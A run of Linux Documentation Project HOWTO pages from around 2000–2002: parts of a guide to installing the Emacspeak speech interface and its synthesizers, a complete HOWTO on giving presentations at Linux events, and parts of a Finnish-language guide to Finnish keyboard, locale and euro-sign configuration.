This HOWTO assumes that you have already installed Linux on your system. If not, you may wish to refer to the "Linux Information Sheet" by Michael K. Johnson at http://www.linuxdoc.org/HOWTO/INFO-SHEET.html. It provides an introduction to Linux, discusses some hardware requirements, and also has a section on how to obtain Linux.

There are a number of different Linux distributions (distros) that you can choose from. All of the distros are based upon the same basic Linux code, or kernel, but each distro has a different installation process, features, and support options. Martin Wheeler's "Distributions HOWTO," at http://www.linuxdoc.org/HOWTO/Distributions-HOWTO/index.html, discusses the pros and cons of a number of Linux distros. You can also find information about each distribution on their respective web sites. Those distros known to support Emacspeak are listed below with their URLs:

  • Debian Linux - http://www.debian.org

  • Mandrake Linux - http://www.linux_mandrake.com

  • Red Hat Linux - http://www.redhat.com

  • Slackware Linux - http://www.slackware.com

  • SuSE Linux - http://www.suse.com

  • TurboLinux - http://www.turbolinux.com

All of the distributions listed above can be downloaded free of charge from their respective web sites. However, the downloads are quite large, so you'll need a fast Internet connection. You will also need access to a CD burner, to burn your own CDs from the images you download. Depending on the distribution, you may also have to download and make a boot floppy. Once you have burned the CDs and created the boot floppy, you can install Linux. Alternatively, you can purchase the disks at your local computer store for between $30 and $80 US. Both of these options are discussed at length in the Linux Installation HOWTO at http://www.linuxdoc.org/HOWTO/Installation-HOWTO/overview.html, so you may want to refer there before making a decision as to which route to take.

Most methods of installation require sighted assistance. However, if you prefer to install Linux yourself, there are two options. The first is to install Linux from a DOS machine running JAWS. This option requires two machines, a null modem cable, JAWS for DOS, and a hardware speech synthesizer. More information on this option can be found in Section 8, Appendix A. The second option is installing one of the distributions that includes a Speakup kernel patch. This option requires a Speakup-enabled distro and a hardware synthesizer. Speakup is a screen reader that is patched into the kernel, so it starts talking at boot and will speak during the entire installation. Currently, Speakup is supported on Debian, Red Hat 7.1, and Slackware. The Speakup option also requires you to download the CD images and make your own CDs. Refer to the Speakup home page at http://www.linux-speakup.org for instructions for this option.

For assistance with installing Linux, Eric Raymond's Linux Installation HOWTO, at http://www.linuxdoc.org/HOWTO/Installation-HOWTO, is highly recommended reading. In the HOWTO, Eric discusses hardware requirements, choosing a distro, and installing your distro of choice. If Eric's HOWTO does not provide enough installation-specific information, you can refer to the documentation specific to your distribution, available at the URLs given in the distro list.

4.2. Emacs

Because Emacspeak is an Emacs subsystem, you must have Emacs installed for Emacspeak to work. Most distributions include Emacs by default, so it should be installed on your system when you install Linux.

If you do not have Emacs on your system or you want to check on the latest version of Emacs, refer to the Emacs homepage at http://www.gnu.org/software/emacs/emacs.html. If you install Emacs on your own or choose to upgrade, be sure to install all of Emacs, including both the X and non-X versions (even if you do not plan to use X). Some Emacs applications depend on packages included in the X version, even if you use those applications in the non-X version of Emacs.

If you would like to learn more about Emacs and how to use it, an excellent place to start is the Emacs Beginner's HOWTO, by Jeremy D. Zawondy. It's available at http://www.linuxdoc.org/HOWTO/Emacs-Beginner-HOWTO.html. There is also an online manual available at http://www.gnu.org/manual/emacs/index.html. Alternatively, you can try the built-in Emacs tutorial. To start the tutorial, type C-h t.

4.3. Background applications

Emacspeak depends on a number of applications. Because each Linux distribution comes with different applications, you may find that your distro does not quite have everything that Emacspeak needs to run properly. Therefore, before you install anything else, it is important to make sure you have all the necessary applications, as listed below.

  • Tk, Tcl, and Tclx: Check to make sure you have these applications. If not, download and install the following rpms from http://www.rpmfind.net: tcl-8.3.2-7mdk, tk-8.3.2-7mdk, and tclx-8.3.2-7mdk.

  • Lesstif: If you want to run the Graphical User Interface (GUI) versions of the ViaVoice sample programs, you'll need these packages. For Emacspeak, the Lesstif packages are only useful if you're running Xwindows, or if you want to use the GUI tools.

    Lesstif can be downloaded from either the Lesstif home page http://www.lesstif.org or Sourceforge http://sourceforge.net/projects/lesstif. Currently, the latest release of Lesstif is version 0.93.14; however, Marty Moore recommends using the 0.92.32 version. You can either download the gzipped tarball that contains all the necessary files or download the three individual packages (lesstif-mwm-0.92.32-1.i386.rpm, lesstif-clients-0.92.32-1.i386.rpm, and lesstif-devel-0.92.32-1.i386.rpm). If you choose to use the three individual files, be sure to use the --nodeps option when you unpack the RPMs to avoid dependancy errors.

  • sndconfig: You will need to run this application from the command line to configure your sound card. At the command prompt, type sndconfig and follow the instructions.

    If your sound card is not recognized by sndconfig, refer to Section 6, Troubleshooting, for more information.

  • stdiom: This package is only necessary if you are using ViaVoice as your synthesizer, or if you want to use auditory icons, and your sound card is not a multi-channel card.

    For information on auditory icons, refer to the Emacspeak User's Guide.

4.4. Speech Synthesizers

To produce speech output, you need two things: something to parse the information on the screen (Emacspeak), and something to produce the sounds you hear as output (a speech synthesizer). Emacspeak can use either a hardware or software synthesizer to produce sound output. Software synthesizers have the benefit of being either free or very inexpensive. Hardware synthesizers can run from $150 to $1600 or more, but they are typically easier to install than software synthesizers.

4.4.1. Hardware synthesizers

Emacspeak supports the following hardware synthesizers:

  • Accent

  • Apollo

  • Braille Lite

  • Braille n' Speak

  • DECtalk Express (the original Emacspeak synthesizer) or MultiVoice

  • DoubleTalk PC and AT

  • Internal DECtalk PC and DECtalk PC2

  • LiteTalk

  • Type n' Speak

Support for the DECtalk Express and MultiVoice synthesizers is built into Emacspeak. If you have a synthesizer other than a DECtalk Express, you may require additional drivers or "speech servers" to get Emacspeak to work with your synthesizer.

The Internal DECtalk PC and DECtalk PC2 require a kernel driver available from ftp://leb.net/pub/blinux/dectalk_pc-0.95.tgz. Installation instructions are at ftp://leb.net/pub/blinux/dectalk_pc-0.95.README.

The DoubleTalk PC and AT, Braille n' Speak, Type n' Speak, Braille Lite, Apollo, and Accent synthesizers all require an additional speech server that can be downloaded from ftp://leb.net/pub/blinux/emacspeak/blinux.emacspeak-ss-1.7.tar.gz. A README file with installation instructions can be found at ftp://leb.net/pub/blinux/emacspeak/blinux/emacspeak-ss.README.

4.4.2. Software synthesizers

If you choose to use a software synthesizer, you must make sure your sound card is Linux compatible. In addition, if you want to perform any tasks that require a multi-channel sound card, such as playing auditory cues when you open or close an Emacs buffer, you must make sure that your sound card is multi-channel capable.

There is a complete list of Linux-compatible sound cards available at http://www.alsa-project.org. In addition, you can usually find information on your distribution's web site about which sound cards are supported with each distro.

Once you have ensured that your sound card is Linux compatible, you can install a software synthesizer. Currently the only one that works with Emacspeak is IBM's ViaVoice Text-to-Speech (TTS), formerly called ViaVoice Outloud. Many Emacspeak users use this software synthesizer, because it is free of charge. Instructions for installing ViaVoice can be found in Section 9, Appendix B.

Prev | Home | Next
Documentation Conventions |  | Installing Emacspeak


Frequently Asked Questions (FAQs)

Installing Emacspeak HOWTO
Prev Next

6. Frequently Asked Questions (FAQs)

This sections covers some of the more common problems encountered when installing Emacspeak. If there is a topic that is not covered here, you should review the Emacspeak mailing list archives at http://www.cs.vassar.edu/~priestdo/emacspeak/. You can find the answers to many additional questions there.

The volume on my system is very low - how can I increase it?

The easiest way to turn up system volume is with a set of speakers. However, sometimes speakers aren't feasible (for example, with a laptop), or even with speakers, the volume is still not loud enough. In this case, you can use the application aumix to increase your system's volume.

Aumix comes with many distributions of Linux, but if your distro doesn't have aumix, you can download it from http://prdownloads.sourceforge.net/aumix/aumix-2.7.tar.gz. The latest version is 2.7.

To use aumix to increase your system's volume, type the command aumix -v +100 or aumix -w +100. The numerical value is the percentage volume, so in this case 100 means 100%. You may want to try different settings to find the most comfortable one for you.

For more information on using aumix, type aumix -h at the command prompt.

sndconfig doesn't recognize my soundcard. What should I do?

If sndconfig doesn't recognize your soundcard, you should see if you can download a driver for your card. The Advanced Linux Sound Architecture (ALSA) web site, located at http://www.alsa-project.org, lists many sound cards, along with their drivers (if available). Another alternative is the Open Sound System (OSS) for Linux. OSS is a commercial implementation of the Linux kernel drivers, and a list of supported cards can be found at http://www.4front-tech.com/osshw.html. There used to be a free version, but apparently it is no longer available (if anyone knows differently, please let me know).

Note Note

Some users have reported compatibility problems with ViaVoice and ALSA drivers. I have been unable to determine the exact problem or solution from various mailing archives, so if anyone can provide more information on this issue, please let me know.

When I try to install the ViaVoice RTK rpm file, I get the error "libXm.so.1 is missing." What's wrong?

The file libXm.so.1 is part of the lesstif distribution, and it is also a shared library. This error message indicates that either lesstif is not installed, or that the system is unable to locate the file. Often shared libraries are referenced by a symbolic link to the real shared library file, which may be named something like libXm.so.1.0.17. When the name of the symbolic link to the shared library and the name of the real shared library file differ, the system may not be able to find the shared library, even if it exists. If another program depends on a shared library that cannot be found, an error message like the one above results. In the case of libXm.so.1, lesstif is only needed for graphical demonstration programs. Thus, if you do not plan to use the graphical mode, it is safe to install the ViaVoice RTK rpm using the option --nodeps, which tells ViaVoice to ignore any missing dependencies.

Note Note

Note that this is only a workaround, not a "fix," and that it only works for ViaVoice Text-to-speech (TTS). This solution may not work if you use any of the ViaVoice voice recognition software.

When I compile the ViaVoice TTS server for Emacspeak, I get an error "tcleci.cpp:43:17: eci.h: No such file or directory." Where is eci.h?

This error message appears when you install the ViaVoice RTK and SDK in the wrong order, or if the SDK is not installed.

The file eci.h should be in the /usr/include directory. If it is not there, re-install ViaVoice TTS RTK, then install ViaVoice TTS SDK. Check to make sure eci.h is in the /usr/include directory, then change directories to /usr/share/emacs/site-lisp/emacspeak/servers/linux-outloud, and type make at the command prompt. The ViaVoice TTS should now make successfully.

When I start Emacspeak, I keep getting the error "process speaker not running." What's wrong?

If you are getting this error message, there are several possible causes. This section steps though finding and correcting this problem.

The first step is to make sure that you have tcl correctly installed, as explained in the following instructions.

  1. First, make sure you are in the /usr/share/emacs/site-lisp/emacspeak/servers directory.

  2. At the command prompt, type tcl name of speech server, The most common speech servers are dtk-exp and outloud.

If you get an error such as bash: tcl:: command not found, it means that tcl/tclx is not correctly installed on your system. You must get the latest version of either tcl or tclx and install it before Emacspeak will work.

If everything is installed correctly, you should hear a voice saying "IBM ViaVoice. This is Emacspeak" or something similar. A % command prompt should also appear. At the prompt, type q "this is a test." Then press Return and type d. This command runs the speech, so you should hear "this is a test" spoken. If you hear this, the server script is running properly. You can type exit to quit tcl.

You may also get an error like stdiosynth executable not found when you type tcl name of speech server, and then get a command prompt. Testing has shown that this error can appear even when stdiosynth is correctly installed and Emacspeak is working. Even if you get this error message, you should still get the % command prompt, so you should be able to test the script.

If the script test was unsuccessful, (if tcl was found and you got a % prompt but you did not hear any speech), the next step is to make sure that you have the correct lines in your profile file to let Emacspeak know where to find the speech server. To check this, follow these steps:

  1. Go to your /etc directory, then use you favorite text editor to open the file named profile.

  2. Make sure the following lines are in the file:

                                export DTK_PROGRAM
                            DTK_PROGRAM=name
                            of speech server

    The most common speech servers, are outloud and dtk-exp.

If these lines are not in your profile file, add them and then re-test tcl. If you are using ViaVoice TTS as your synthesizer, Emacspeak should work correctly at this point. If you are using a hardware synthesizer and you still do not get any sound, check to make sure that the environment variable DTK_PORT is set correctly in your /etc/profile file.

The variable DTK_PORT specifies which port your hardware sythesizer is plugged into on your computer. Under Linux, if your synthesizer is plugged into com1, you must set DTK_PORT to /dev/ttyS0, and if it is in com2, then DTK_PORT should be set to /dev/ttyS1. To set this variable, follow these steps:

  1. Open your profile file located in the /etc directory.

  2. Look for the variable DTK_PORT. If this variable does not exist, scroll to the bottom of the profile file and add the following line:

            export DTK_PORT=/dev/ttySX

    In this line, the "X" should be replaced by the correct port number, as described above.

  3. When you are finished, save and close the profile file.

Finally, retest tcl, and if it works, restart Emacspeak. Emacspeak should work correctly.

If you have a hardware synthesizer and are still not getting any speech, you probably do not have the necessary permissions to use the serial port for your synthesizer. There are a number of solutions to this problem, and the best solution depends on your operating environment. For example, if you are in a multi-user environment, controlling the access permissions to the serial device may be a concern. The options are as follows:

  • Change the ownership of the serail device to the user running Emacspeak. To do this, type chown username /dev/ttyS0 at the command prompt, then type chmode u+rw /dev/ttyS0.

  • Add the user to the group associated with the serial device. On Red Hat systems this is usually the group tty. To do this, edit the /etc/group file and find the line starting with tty:. At the end of that line, add ",username" where username is your username.

  • Give read/write access to the serial device for all users. This is the least secure solution, but if you are the only user on the system, it will not matter. To give read/write access, make sure you are the root user and at the command prompt type chmod o+rw /dev/ttyS0.

Prev | Home | Next
Installing Emacspeak |  | Additional resources


Creating your Presentation

Event HOWTO
Prev Next

5. Creating your Presentation

There are a number of programs for creating presentations. What you use should really be a personal preference. However, there are a few choices for you to use.

Table 1. Presentation applications

Application Name | URL | Notes
MagicPoint | http://www.Mew.org/mgp/ | Presentation-only. Reads text files for creating presentation. Exports to PS and HTML
StarOffice | http://www.staroffice.com | Good conversion to and from Microsoft PowerPoint. Not really good for laptops, as it consumes a lot of memory and CPU cycles.
Applixware Office | http://www.vistasource.com | Commercial application, but smaller requirements than Star Office.

So how do you create the your content? First, you'll want to have some introductory information. Your first slide should contain the title of the presentation, your name, and who you're representing (if anyone). Remember that it's good form to include the name of the organization that is paying for your trip, even if they're not who you're representing.

Your second slide should contain the agenda for the remainder of the presentation. This serves two purposes - it not only tells the audience what to expect, but serves as an outline for you as you create the slides.

Your third (or forth, depending on how big the agenda is) should contain some information about you. This sets your credibility with the audience as to your expertise with the subject matter.

After that, it is up to you to start creating your slides. However, here's a few hints to keep in mind as you go along:

  1. Make the text of the slides big, and the amount of text small. You want everyone to be able to read what is on the slide.

  2. There is no real need to write in full sentences. You will want to make short points, since your talking will fill in the details.

  3. If you use backgrounds in your slides, make them of light colors. Dark colors will contrast the text when they are printed out as handouts for attendees.

  4. Stick to one topic per slide. You can have multiple slides per topic, just title them "Topic", "Topic (cont'd)", or number them.

Prev | Home | Next
Submitting your topic |  | Giving your presentation


Getting Started

Event HOWTO
Prev Next

2. Getting Started

Before you even give a presentation, there are a few things you have to do:

  • Choose a topic.

  • Submit your topic to a show to LUG. (and get it accepted!)

  • Create presentation from the topic.

  • Give the presentation.

Contrary to poular belief, each of these may be as hard as all the others. Choosing a topic for some may be easy, based on their expertise, whereas a Linux jack-of-all-trades may be stuck choosing a topic. Those comfortable with public speaking may have trouble designing the slides, and so on.

So let's jump right in and hit all the topics and get you started!

Prev | Home | Next
Introduction |  | Choosing a topic


Event HOWTO

Mark F. Komarinski

VA Linux Systems

markk@linuxdoc.org

Revision History
Revision v0.05 8 Nov 2000 Revised by: mfk
First revision. Comments from readers is appreciated.

The purpose of this document is to show you how to create good presentations for almost any sort of Linux event.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
2. Getting Started
3. Choosing a topic
4. Submitting your topic
5. Creating your Presentation
6. Giving your presentation
Next
Introduction


Introduction

Event HOWTO
Prev Next

1. Introduction

While many Linux users will give presentations at Linux User Group (LUG) meetings, Expos, and other conferences, not everyone is effective at giving presentations. Much like public speaking, a presenter needs to know how to communicate with their audience so that their topic is clear and understood by all. Topics that may interest users can easily be lost with ineffective presentations. Hopefully this document will spell out how you can do this properly.

1.1. Copyright Information

This document is copyrighted (c) 2000 Mark F. Komarinski and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

1.3. New Versions

This is the initial release.

1.4. Credits

I'd like to thank Prof. Brad Broughton, Technical Communication Department, Clarkson University. He taught a number of courses on effective presentations and public speaking. I don't always follow his rules, but I know what they are.

1.5. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <markk@linuxdoc.org>.

Prev | Home | Next
Event HOWTO |  | Getting Started


Giving your presentation

Event HOWTO
Prev

6. Giving your presentation

Before you give your presentation to a group of people, give it a test run to a friend or SO. This lets you know how well the flow of the presentation is, plus may give ideas for improvement.

If you have never taken a public speaking class, or given presentations to large groups, the first few times you do this it may seem unnerving. As I mentioned earlier, it may be easier to start with your local LUG and get used to talking to groups of people - the local LUG will be filled with a friendly audience and you will be more at ease.

When talking to a large audience, keep the following in mind:

  1. Don't just read the text on the slides. Anyone can put slides up and read the text on it. You are an expert!

  2. Keep eye contact with the audience. Every now and then, look up from your screen and scan the audience. If this makes you nervous, look across the tops of the heads. From the perspective of the audience, you're looking at them. Look up, and scan from one side of the room to the other, then look back at your screen.

  3. Feedback from microphones can cause headaches for all around. Test your microphone setup before talking.

  4. If you do not have a microphone, try and face your audience as much as possible. Your voice will carry better.

  5. Do not let yourself get sidetracked. Stay on the topic. If a member of the audience tries to get you off topic too far, offer to discuss it after the presentation. Others who are interested can take part then.

Prev | Home
Creating your Presentation |


Submitting your topic

Event HOWTO
Prev Next

4. Submitting your topic

Once you have the basic idea of what you want to present, you have to get it accepted by groups and get the opportunity to show it. Your best line of strategy is to start off giving your intended presentation to a local LUG and let them critique it. Audience feedback is cruicial, especially if you have not done a presentation before.

So what's the secret for talking to a LUG? In many cases, just offer. LUGs like to have speakers for each meeting to give a reason to get together other than go for a beer after the meeting.

In terms of conferences that you would like to attend, check the major conferences and expos out there. Many are listed at Linux web sites, some send out a call for papers (CFP) to approprate discussion lists, like <ldp-discuss@lists.linuxdoc.org>. Many will have either an e-mail CFP, or have you fill out a web form.

The author cannot comment on what papers are accepted or declined, mostly because I don't know how it works. The best I can say is to see what topics have been selected in the past and tailor your abstract that way.

Assuming your presentation has been selected, try and get some information about the location, dates, time, and so on. This will have a lot of bearing on how your presentation is laid out. A presentaton using printed slides will appear different on screen than one with an LCD projector that connects to your laptop. In some cases, you will need to bring your own laptop to the presentation.

Prev | Home | Next
Choosing a topic |  | Creating your Presentation


Choosing a topic

Event HOWTO
Prev Next

3. Choosing a topic

In many cases, you can choose your topic based on the area of expertise you have. If you're a known (or unknown?) expert on RAID, you can give a presentation on RAID. But what do you talk about on RAID? Do you talk about the design of the controller drivers under Linux 2.4? Do you talk about installing Linux on a RAID device? Case study?

Unfortunately, these are things you'll have to think about and decide on your own. Your best bet is to think of a generic enough subject, and change it based on your audience (we'll get into this later on). If you're talking to a more advanced LUG/USENIX crowd, you can give a more advanced presentation, whereas newbie groups can get a presentation of what RAID is and how it works. The basic idea is to keep the intended audience in mind at all times.

Prev | Home | Next
Getting Started |  | Submitting your topic


Merkistö

Finnish HOWTO
Prev Chapter 2. Näppäimistöasetukset Next

2.1. Merkistö

Suomalaistettu GNU/Linux käyttää kansainvälistä ISO-8859-1- eli Latin-1-merkistöä tai ISO-8859-15- eli Latin-9-merkistöä. Tämän määritteleminen ei ole aina välttämätöntä, mutta monet tärkeät ohjelmat vaativat sen asettamisen.

ISO-8859-15-merkistöä, joka tukee euro -merkkiä, kutsutaan joskus myös nimellä Latin-0

2.1.1. Näppäimistökartan lataaminen

2.1.1.1. Konsolissa

Näppäimistökartan voi ladata käskyllä loadkeys /usr/share/keymaps/i386/qwerty/fi-latin1.map.gz

Joissakin jakeluissa näppäimistökartan nimessä on .map.gz päätteen sijasta .kmap.gz pääte. Näppäimistökarttojen sijainnissa on eroja eri distribuutioiden välillä. Näppäimistökartat löytää esimerkiksi käskyllä find /usr -name '*latin1.*map*' -print

On syytä huomata, että oikea näppäimistökartta on fi-latin1 eikä fi.

Debian GNU/Linuxissa loadkeys ajetaan käynnistyksen aikana skriptistä /etc/init.d/keymap.sh. Näppäimistökartan voi vaihtaa komennolla /usr/sbin/install-keymap.

Red Hatissa käynnistyksen aikana suoritetaan yleensä /etc/rc.d/init.d/keytable -skripti. Tämä skripti lukee /etc/sysconfig/keyboard -tiedoston, jossa määritellään käytettävä näppäimistökartta. Näppäimistön ollessa suomenkielinen tietosto sisältää sauraavan rivin:

    KEYTABLE=fi-latin1

2.1.1.2. XFree86 3

XFree86 3.2:ssa ja uudemmissa /etc/X11/XF86Config-tiedostossa pitäisi olla Keyboard section -kohdassa seuraavat rivit:

    Section "Keyboard"
       Protocol        "Standard"
       XkbRules        "xfree86"
       XkbModel        "pc102"
       XkbLayout       "fi"
       XkbVariant      "nodeadkeys"
    EndSection

Näitä, kuten monia muitakin, asetuksia voi muokata omien mieltymyksien mukaan ja alla on esimerkkinä Debian GNU/Linux 2.2 (tätä kirjoitettaessa kyseessä oli vielä kehitysversio) "Keyboard Section:"

    Section "Keyboard"
       Protocol        "Standard"
       AutoRepeat      500 30
       LeftAlt         Meta
       RightAlt        Meta
       ScrollLock      Compose
       RightCtl        Control
       XkbKeycodes     "xfree86"
       XkbTypes        "default"
       XkbCompat       "default"
       XkbSymbols      "us(pc101)"
       XkbGeometry     "pc"
       XkbRules        "xfree86"
       XkbModel        "pc102"
       XkbLayout       "fi"
    EndSection

Lisätietoja XF86Config-tiedoston manuaalisivulta.

2.1.1.3. XFree86 4

XFreen versiossa neljä on hiukan erilaiset näppäimistöasetukset, joista tässä esimerkki:

Section "InputDevice"
        Identifier      "Generic Keyboard"
        Driver          "keyboard"
        Option          "CoreKeyboard"
        Option          "XkbRules"      "xfree86"
        Option          "XkbModel"      "pc105"
        Option          "XkbLayout"     "fi"
        Option          "XkbVariant"    "nodeadkeys"
EndSection

2.1.2. Kuolleet näppäimet

Kuolleet näppäimet ovat näppäimiä, joiden painaminen ei tulosta mitään ruudulle ennenkuin painetaan toista näppäintä. Mm. tilde, ~, on tällainen näppäin.

Prev | Home | Next
Näppäimistöasetukset | Up | Näytön ja ohjelmien asetukset


Tekijänoikeuksista ja kopioinnista

Finnish HOWTO
Prev Chapter 1. Johdanto Next

1.3. Tekijänoikeuksista ja kopioinnista

Dokumenttia saa muuttaa ja levittää GNU Free Documentation License version 1.1 ehtojen mukaisesti. Dokumentin lähteinä ovat toimineet erityisesti Niels Kristian Bech Jensenin Danish-HOWTO ja jossain määrin Pekka Taipaleen Finnish HOWTO v. 1.1f.

Tekijä ei vastaa mahdollisista virheistä, mutta ottaa korjaus- ja parannusehdotuksia mielellään vastaan osoitteeseen <hauva@iki.fi>.

Prev | Home | Next
Mitä tämä dokumentti ei käsittele? | Up | Tekstin esitystavasta


Euro-merkki

Finnish HOWTO
Prev Chapter 3. Näytön ja ohjelmien asetukset Next

3.2. Euro-merkki

Uusi merkistö, ISO-8859-15 eli latin9, jota hämmennyksen maksimoimiseksi usein myös latin0:ksi kutsutaan, on luotu korvaamaan ISO-8859-1 (latin1) ja se tarjoaa Euroopan unionin yhteisen rahayksikön euro- ja senttimerkit.

Euro löytyy näppäinyhdistelmällä AltGr-e. Sentti löytyy näppäinyhdistelmän AltGr-Shift-e takaa X:ssä ja konsolissa oikea näppäinyhdistelmä on AltGr-c. Senttejä ei kuitenkaan normaalisti käytetä.

Tämä luku on erityisen Debian-painoitteinen, mutta sen ohjeilla saanee myös muut distrot toimimaan, mutta se vaatinee normaalia enemmän luovuutta.

3.2.1. Euro ja lokaalit

glibc 2.2 ja uudemmat tukevat euroa. Oikea lokaaliarvo on fi_FI@euro

3.2.2. Euro konsolissa

Tarkista, että tiedoston /usr/share/keymaps/i386/include/euro.inc.gz sisältö on seuraava:

altgr keycode  18 = currency
altgr keycode  46 = cent

Distribuutiosta riippuen pitää ladata konsolifontti, joka tukee euroa joko komennolla setfont (RH-johdannaiset) tai consolechars (Debian-johdannaiset).

Debianissa muokataan tiedostoa /etc/console-tools/config siten, että poistetaan kommenttimerkki SCREEN_FONT:

SCREEN_FONT=lat0-16

Red Hatissa asetetaan tiedoon /etc/sysconfig/i18n rivit

SYSFONT=lat0-16
SYSFONTACM=iso15

3.2.3. Euro X Window Systemissä

AltGr-e tuottaa normaaliasetuksilla geneerisen valuuttasymbolin, joka näyttää nelijalkaiselta hämähäkiltä. Kun sovelluksen käyttämä fontti vaihdetaan ISO-8859-15-fontiksi niin sen tilalle tulee euro. Debianissa tämän voi tehdä lisäämällä tiedostoon /etc/X11/app-defaults/XTerm esimerkiksi rivi

.XTerm.VT100.font: -jmk-neep alt-medium-r-*-*-*-120-*-*-*-*-iso8859-15

Mikäli AltGr-e ei toimi lisää tiedostoon /etc/X11/Xmodmap rivi

keycode 26 = e E EuroSign

3.2.4. KDE

Vaihda KControlissa fonttiasetus ISO-8859-15-merkistöksi.

3.2.5. GTK ja Gnome

Vaihda Gnome Control Centerissä fonttiasetus ISO-8859-15-merkistöksi.

Parempi tapa tehdä tämä on vaihtaa GTK+:n konfiguraatiota komennoilla

cd /etc/gtk
ln -s gtkrc.iso-8859-15 gtkrc

3.2.6. Emacs

Emacs 21 ja uudemmat tukevat osittain euroa seuraavalla elisp-asetuksella:

 (set-face-font
      'default '"-*-courier-medium-r-*-*-*-120-*-*-*-*-iso8859-15")

Tämän jälkeen emacs osaa näyttää euro-merkin, mutta sitä ei voi kirjoittaa.

3.2.7. Euro-linkkejä

KDE-projektin euro-sivut . Debian Euro HOWTO . Euro Character Support mini HOWTO .

Prev | Home | Next
Locale-asetukset | Up | Merkit, joita voidaan näyttää GNU/Linuxissa


Finnish HOWTO

Ari Mäkelä

hauva@arska.org

Revision History
Revision v.2.0.13 | 2002-04-09 | Revised by: am
Less obscure description of LC_MESSAGES. Fixed an XML structure error in the locales table. Fixed the forgotten bookinfo date.
Revision v2.0.12 | 2002-04-06 | Revised by: am
More irc stuff. Added set convert-meta off to readline section. Updated Debian specific information to Debian 3.0. More keymap stuff. Removed Red Hat 5.2 stuff. Changed the example locales to fi_FI@euro. Added KDE, Gnome and Emacs to the Euro section. Added fi_FI@euro to the elm section. Added the Debian 3.0 way of locales to the locales section.
Revision v2.0.11 | 2002-02-24 | Revised by: am
More Euro-support links, updated the KDE link. Added "convert-meta off" to bash.
Revision v2.0.10 | 2001-10-04 | Revised by: am
Fixed emacsen on console.
Revision v2.0.9 | 2001-10-04 | Revised by: am
Fixed title of elm-ME+ title from elm to elm-ME+
Revision v2.0.8 | 2001-09-26 | Revised by: am
Corrected the erraneous revhistory order.
Revision v2.0.7 | 2001-09-26 | Revised by: am
Fixed a typo in euro support.
Revision v2.0.6 | 2001-09-26 | Revised by: am
Added euro support.
Revision v2.0.5 | 2001-09-14 | Revised by: am
Fixed locale example. Fixed some typos. Fixed some mark-up errors. Added irc and elm-me+
Revision v2.0.4 | 2001-07-18 | Revised by: am
Completely rewritten.

Abstract

This document describes how to localize GNU/Linux for Finnish users and is intended to replace Pekka Taipale's original Finnish-HOWTO which has not been updated for some time. This document derives from original Finnish HOWTO and more importantly from the Danish-HOWTO by Niels Kristian Bech Jensen.

Language of the HOWTO is Finnish. Non-Finnish users should consult Danish HOWTO which is not in Danish but in English.

Table of Contents
1. Johdanto
1.1. Mikä on HOWTO?
1.2. Mitä tämä dokumentti ei käsittele?
1.3. Tekijänoikeuksista ja kopioinnista
1.4. Tekstin esitystavasta
1.5. Kiitokset
2. Näppäimistöasetukset
2.1. Merkistö
3. Näytön ja ohjelmien asetukset
3.1. Locale-asetukset
3.2. Euro-merkki
3.3. Merkit, joita voidaan näyttää GNU/Linuxissa
3.4. Ohjelmakohtaiset merkistöasetukset
3.5. Tekstitiedostoformaatit muilla alustoilla
4. Lokaalituki glibc2:ssa ja uudemmissa
4.1. Yleiset asetukset
4.2. Debian ja lokaalit
List of Tables
4-1. Lokaalit
Next
Johdanto


Johdanto

Finnish HOWTO
Prev Next

Chapter 1. Johdanto

Table of Contents
1.1. Mikä on HOWTO?
1.2. Mitä tämä dokumentti ei käsittele?
1.3. Tekijänoikeuksista ja kopioinnista
1.4. Tekstin esitystavasta
1.5. Kiitokset
Prev | Home | Next
Finnish HOWTO |  | Mikä on HOWTO?


Näppäimistöasetukset

Finnish HOWTO
Prev Next

Chapter 2. Näppäimistöasetukset

Konsolilla näppäimistöasetukset asetetaan loadkeys ja X Window Systemissä xmodmap komennolla.

Prev | Home | Next
Kiitokset |  | Merkistö


Locale-asetukset

Finnish HOWTO
Prev Chapter 3. Näytön ja ohjelmien asetukset Next

3.1. Locale-asetukset

Debianissa lokaaliasetukset asetetaan tiedostoon /etc/environment ja Red Hatissa tiedostoon /etc/sysconfig/i18n

LANG=C
LC_CTYPE=fi_FI@euro
LESSCHARSET=latin1
export LANG LC_CTYPE LESSCHARSET

Prev | Home | Next
Näytön ja ohjelmien asetukset | Up | Euro-merkki


Lokaalituki glibc2:ssa ja uudemmissa

Finnish HOWTO
Prev Next

Chapter 4. Lokaalituki glibc2:ssa ja uudemmissa

Table of Contents
4.1. Yleiset asetukset
4.2. Debian ja lokaalit
Prev | Home | Next
Tekstitiedostoformaatit muilla alustoilla |  | Yleiset asetukset


Tekstin esitystavasta

Finnish HOWTO
Prev Chapter 1. Johdanto Next

1.4. Tekstin esitystavasta

Dokumentti on kirjoitettu DocBookin XML-versiolla, josta on tuotettu muut versiot.

Prev | Home | Next
Tekijänoikeuksista ja kopioinnista | Up | Kiitokset


Merkit, joita voidaan näyttää GNU/Linuxissa

Finnish HOWTO
Prev Chapter 3. Näytön ja ohjelmien asetukset Next

3.3. Merkit, joita voidaan näyttää GNU/Linuxissa

Komento dumpkeys -l | less näyttää käytettävissä olevat merkit.

Prev | Home | Next
Euro-merkki | Up | Ohjelmakohtaiset merkistöasetukset


Ohjelmakohtaiset merkistöasetukset

